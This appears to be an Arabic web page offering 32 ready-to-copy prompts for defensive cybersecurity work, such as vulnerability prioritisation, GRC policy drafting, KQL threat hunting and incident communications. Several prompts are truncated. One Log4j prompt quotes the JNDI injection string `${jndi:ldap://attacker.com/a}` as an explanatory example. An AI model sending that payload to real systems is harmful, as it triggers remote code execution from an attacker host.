انسخ أيًّا منها مباشرة إلى ChatGPT أو Claude أو Gemini، ثم استبدل ما بين الأقواس ببياناتك.
32 موجّه جاهز للنسخ
1موجه ذكاء اصطناعي لتحديد أولويات الثغرات الأمنية
أنت محلل أمن سيبراني رفيع المستوى. بالنظر إلى بيانات الثغرات الأمنية التالية من مسح Nessus لخادم ويب إنتاجي (أهمية الأصل: عالية)، قم بتحديد أولويات أهم 3 ثغرات أمنية للمعالجة الفورية. لكل منها، قدم تبريرًا من جملة واحدة يشرح المخاطر المحددة في السياق، متجاوزًا درجة CVSS العامة. **بيانات Nessus:** 1. CVE-2023-34048 (CVSS 9.8): ثغرة أمنية في VMware vCenter Server تتجاوز حدود الكتابة. 2. CVE-2021-44228 (Log4Shell, CVSS 10.0): تنفيذ تعليمات برمجية عن بعد في Apache Log4j. يعمل الخادم بتطبيق Java قديم. 3. CVE-2024-21893 (CVSS 8.8): ثغرة SSRF في Ivanti Connect Secure. 4. Apache Struts غير مصحح (لم يتم تحديد CVE معين، ولكنه معروف بأنه عرضة لـ RCE). 5. TLS 1.0 ممكّن (CVSS 2.6).
2مطالبة لصياغة سياسة إدارة إطار إدارة المخاطر (RMF)
تصرف كمحلل حوكمة ومخاطر وامتثال (GRC). أحتاج إلى صياغة سياسة لوظيفة 'الإدارة' في إطار إدارة مخاطر الذكاء الاصطناعي NIST. تستخدم مؤسستنا Microsoft Defender for Endpoint لـ EDR، و Pentera للتحقق الأمني الآلي، و Credo AI للحوكمة. صغ قسمًا للسياسة يحدد كيفية إدارة المخاطر التي تحددها هذه الأدوات. حدد ما يلي: 1. عتبات الخطورة للاستجابة الآلية في Defender (على سبيل المثال، ما الذي يؤدي إلى عزل الجهاز تلقائيًا). 2. اتفاقية مستوى الخدمة (SLA) لمعالجة الثغرات الأمنية 'الحرجة' و 'العالية' التي تكتشفها Pentera. 3. عملية تسجيل وتتبع مشكلات تحيز النموذج المحددة في Credo AI، بما في ذلك الملكية وتواتر المراجعة.
تصرف كمحلل أمني رفيع. لدي تقرير ثغرات من ماسح ضوئي. قم بترتيب النتائج حسب الأولوية بناءً على السياق التالي: - الأصل المتأثر هو خادم ويب عام يعمل بنظام Linux، ومصنف على أنه 'حرج'. - التطبيق عبارة عن منصة تجارة إلكترونية تعالج بيانات بطاقات الائتمان. - تهديداتنا الرئيسية هي مجموعات برامج الفدية والمهاجمون الماليون الانتهازيون. إليك بيانات الثغرات (بتنسيق CSV): [[معرف CVE]], [[درجة CVSS]], [[اسم الثغرة]], [[عنوان IP للأصل]] CVE-2026-XXXX, 9.8, "تنفيذ كود عن بعد في Apache Struts", 1.2.3.4 CVE-2026-YYYY, 7.5, "برمجة عبر المواقع في إطار عمل الويب", 1.2.3.4 قدم قائمة مرتبة حسب الأولوية لأي CVE يجب معالجته أولاً واشرح منطقك في جدول markdown.
تصرف كمحلل SOC. أحتاج إلى البحث عن علامات الاستمرارية على نقاط نهاية Windows باستخدام Microsoft Sentinel. التقنية التي أبحث عنها هي خدمة جديدة يتم إنشاؤها ثم تشغيلها في فترة زمنية قصيرة. أنشئ استعلام Kusto Query Language (KQL) يقوم بما يلي: 1. يبحث عن معرف حدث Windows 4697 (تم تثبيت خدمة في النظام). 2. يبحث عن معرف حدث Windows 7036 (دخلت خدمة حالة التشغيل). 3. يربط هذه الأحداث بواسطة ServiceName والمضيف. 4. يقوم بالتصفية للحالات التي تم فيها بدء الخدمة في غضون 5 دقائق من تثبيتها. 5. يسرد اسم المضيف، واسم الخدمة، والمستخدم الذي قام بتثبيتها.
. 1. In simple terms, what does this malware signature typically indicate? 2. What is the common behavior of this malware family? (e.g., ransomware, infostealer, RAT) 3. What are the 3-5 immediate next steps a junior analyst should take to investigate the host
, generate three distinct threat hunting hypotheses. For each hypothesis, specify: 1. The Hypothesis itself. 2. The Data Sources required (e.g., EDR logs, DNS logs, proxy logs). 3. A sample query (in pseudo-query language) to test the hypothesis. Example format: **Hypothesis 1:** The threat actor is using scheduled tasks to establish persistence. **Data Source:** EDR process creation logs, Windows Event Logs (ID 4698). **Query:**
Act as a security consultant. I need to configure a Tenable Nessus scan for a new segment of our network that contains `[[SERVER_TYPES]]` (e.g., web servers, database servers, domain controllers). Recommend a Nessus scan policy configuration. Your recommendation should cover: - **Scan Template:** Which Nessus template to start with (e.g., Basic Network Scan, Credentialed Patch Audit). - **Credentials:** Why a credentialed scan is necessary. - **Plugins:** Which plugin families are most important to enable for these server types. - **Frequency:** A recommended scan frequency (e.g., weekly, monthly). Provide the output as a set of clear recommendations with brief justifications for each.
, but we have determined it is a false positive. I need to write a formal justification for our records. Draft a paragraph that explains *why* this finding is a false positive. Use the following information: - **Finding:** The scanner identified
You are a vulnerability analyst reporting to the CISO. I have a list of 5 critical vulnerabilities that were discovered this week. Create a high-level summary table for a management report. The table should have the following columns: - `Vulnerability (CVE)` - `Systems Affected (Count)` - `Recommended Action` - `Assigned Team` - `Remediation ETA` Populate the table using this data: - **CVE-2026-1001:** Affects 15 web servers. Action: Apply vendor patch. Team: Web Ops. ETA: 7 days. - **CVE-2026-1002:** Affects 50 workstations. Action: Deploy updated software via SCCM. Team: Desktop Engineering. ETA: 14 days. - **CVE-2026-1003:** Affects 2 domain controllers. Action: Apply registry key change. Team: Infrastructure. ETA: 3 days. - **CVE-2026-1004:** Affects 10 Linux servers. Action: Update kernel. Team: Linux Ops. ETA: 10 days. - **CVE-2026-1005:** Affects 1 custom application. Action: Developer code fix. Team: AppDev. ETA: 30 days.
code snippet for potential OWASP Top 10 vulnerabilities, specifically looking for: - Injection flaws (SQL, Command) - Broken Authentication - Sensitive Data Exposure - Insecure Deserialization For each issue you find, provide: 1. The vulnerable line number. 2. A brief explanation of the vulnerability. 3. A code example showing how to fix it. If no issues are found, state that. Code Snippet:
Our Snyk scan has found a critical vulnerability (`[[CVE_ID]]`) in the open-source library `[[LIBRARY_NAME]]`, version `[[VERSION_NUMBER]]`. Explain this vulnerability to a development team. Your explanation should include: 1. What the vulnerability allows an attacker to do (e.g., remote code execution, denial of service). 2. How the vulnerability is triggered. 3. What the recommended action is (e.g., "Upgrade to version X.Y.Z"). Keep the explanation concise and focused on what the developers need to know to fix it.
Act as a principal security engineer. Write a secure coding guideline for our development team on the topic of "Input Validation". The guideline should be a markdown document that includes: - A brief, simple explanation of why input validation is important. - A "Do" section with 2-3 best practices (e.g., use allow-lists, validate on the server-side). - A "Don't" section with 2-3 common mistakes (e.g., rely only on client-side validation, use block-lists). - A short, clear code example in `[[LANGUAGE]]` showing a "bad" vs. "good" implementation.
function that is vulnerable to SQL injection. Refactor the code to use parameterized queries (prepared statements) to prevent this vulnerability. Show the "before" and "after" code blocks. Vulnerable Code:
Act as a GRC analyst. I need to draft a new corporate security policy on "Acceptable Use of AI Tools". The policy should be structured with the following sections: 1. **Purpose:** Why this policy exists. 2. **Scope:** Who this policy applies to. 3. **Policy Statements:** A list of rules, including: - Prohibition on using public AI tools with sensitive company or customer data. - Requirement to use only company-approved AI platforms. - Guidelines on verifying the accuracy of AI-generated content. - A statement on data ownership and confidentiality. 4. **Enforcement:** The consequences of violating the policy. Generate a professional draft of this policy.
I am preparing for an audit. I need to map our existing ISO 27001 controls to the SOC 2 Trust Services Criteria. For the following ISO 27001 control, identify the corresponding SOC 2 criteria it helps satisfy. **ISO 27001 Control:** `[[ISO_CONTROL_DESCRIPTION]]` (e.g., "A.9.4.1: Information access restriction") Provide the corresponding SOC 2 TSC and a brief one-sentence explanation of the mapping. Example Output: **SOC 2 TSC:** CC6.1 - Logical Access Security **Explanation:** This control directly supports the SOC 2 requirement to restrict logical access to information and systems based on roles and responsibilities.
I am conducting a risk assessment on our new `[[CLOUD_SERVICE_NAME]]` deployment. Generate a risk scenario related to "Inadequate Access Controls". The scenario should be structured with these fields: - **Risk Scenario:** A brief, one-sentence description of the event. - **Threat Actor:** Who might cause this (e.g., Malicious Insider, External Attacker). - **Vulnerability:** The weakness that allows it (e.g., Overly permissive IAM roles). - **Impact:** The business outcome if it occurs (e.g., Data breach, service disruption). - **Existing Controls:** What we currently have in place (e.g., MFA, basic logging). Fill out this structure for the "Inadequate Access Controls" risk.
24Translate Technical Findings for a Risk Committee
I need to explain the risk of an unpatched Log4j vulnerability (CVE-2021-44228) to a non-technical risk committee. Translate the following technical description into a simple, analogy-based business risk statement. Avoid jargon like RCE, JNDI, and LDAP. **Technical Description:** "The Log4j vulnerability allows for unauthenticated remote code execution (RCE) by logging a specially crafted string. An attacker can send a string like `${jndi:ldap://attacker.com/a}` which causes the server to connect back to the attacker's system and execute a malicious payload." Focus on what it means for the business (e.g., "It's like leaving a back door unlocked...").
You are a senior incident response manager. Our team has just resolved a `[[INCIDENT_TYPE]]` incident. Create a detailed outline for a Post-Incident Review (PIR) document. The outline should include all major sections and sub-bullets for the key topics to cover in each. Include sections for: 1. Executive Summary 2. Incident Timeline (Key Events) 3. Root Cause Analysis (What failed?) 4. Impact Assessment (Business, Technical, Financial) 5. Lessons Learned (What went well? What went poorly?) 6. Action Items (A table with columns for Action, Owner, and Due Date)
28Formulate Questions for a Forensic Investigation
We are beginning a digital forensics investigation on a compromised host (`[[HOSTNAME]]`) related to a data exfiltration incident. Act as a lead forensic investigator. Generate a list of the top 10 key questions our investigation needs to answer. The questions should be focused on establishing the full scope and timeline of the breach. Examples: - How did the attacker gain initial access to the host? - What tools did the attacker use on the host? - What data was accessed or exfiltrated from the host?
You are the head of corporate communications, working with the security team. We need to send a brief internal update to all employees about a recent security incident that has been resolved. The incident was a `[[INCIDENT_TYPE]]` that caused `[[IMPACT]]`. Draft a short, reassuring, and non-technical message for all staff. The message should: - Acknowledge that a disruption occurred. - Confirm that the issue is now resolved. - Thank the security team. - Remind employees to remain vigilant and report suspicious activity. Do not include technical details about the incident.
Act as a senior application security engineer. Review the following Python code snippet for potential security vulnerabilities, specifically looking for injection flaws (SQLi, Command Injection), insecure deserialization, and improper error handling. For each finding, provide the CWE number, explain the risk in the context of this code, and suggest a specific, secure code replacement. [[PASTE CODE SNIPPET HERE]]
Act as a GRC analyst specializing in AI governance. I have the following security control from our System Security Plan: "All cloud database instances are configured with encryption at-rest using AES-256." Map this control to the relevant subcategories within the NIST AI Risk Management Framework (AI RMF 1.0) Core Functions (Govern, Map, Measure, Manage). For each mapping, explain the rationale.
أربع خطوات، دقيقة تقريبًا. الموجّه يعطي البنية، وأنت تعطي التفاصيل.
1
اختر الموجّه
كل موجّه هنا كُتب لمهمة محدّدة، لا كقالب عام من نوع «تصرَّف كخبير». امسح العناوين بسرعة وخذ الذي يطابق المهمة التي أمامك.
2
انسخه والصقه
اضغط «نسخ»، ثم الصق النص كاملًا في ChatGPT أو Claude أو Gemini أو المساعد الذي تدفع مقابله أصلًا. لا شيء هنا مرتبط بنموذج واحد.
3
املأ الأقواس
استبدل كل [عنصر بين قوسين] ببياناتك قبل الإرسال. من هنا تأتي الجودة: الموجّه يعطي البنية، وأنت تعطي التفاصيل.
4
راجع الدليل المصدري
رابط «المصدر» أسفل كل موجّه يفتح المقال الكامل: لماذا بُني الموجّه بهذا الشكل، وعلى أي شيء جُرِّب، وأي أدوات تناسبه.
الأسئلة الشائعة
الأسئلة التي تخطر قبل لصق أحد هذه الموجّهات في عمل حقيقي.
هل يمكن استخدام هذه الموجّهات مجانًا؟
نعم. جميع الموجّهات الـ32 في هذه الصفحة حرّة النسخ والاستخدام مع أي مساعد ذكاء اصطناعي، بما فيها ChatGPT وClaude وGemini. تحتاج فقط إلى حساب في إحدى تلك الأدوات.
كيف أستخدم موجّهات هذه المهنة؟ (أمن سيبراني)
انسخ النص كاملًا بزر «نسخ»، والصقه في مساعد الذكاء الاصطناعي الذي تفضّله، ثم استبدل كل عنصر بين قوسين — مثل [مدينتك] أو [اسم الشركة] — ببياناتك قبل الإرسال.
من أين تأتي هذه الموجّهات؟
كل موجّه مأخوذ من دليل مُجرَّب في Zekai. ورابط «المصدر» أسفل كل موجّه يقودك إلى المقال الكامل الذي يشرح المنطق وطريقة التجربة.
هل يمكنني تعديل هذه الموجّهات؟
بالتأكيد. تعامل مع كل واحد كبنية بداية: شدِّد التعليمات، وأضف قيودك، واحتفظ بالنسخة التي تعطيك أفضل نتيجة. وما بين الأقواس يشير إلى ما يجب تغييره دائمًا.
مكتبات موجّهات لمهن أخرى
الشكل نفسه ومهنة مختلفة — بدءًا من الأقرب إلى هذا المجال.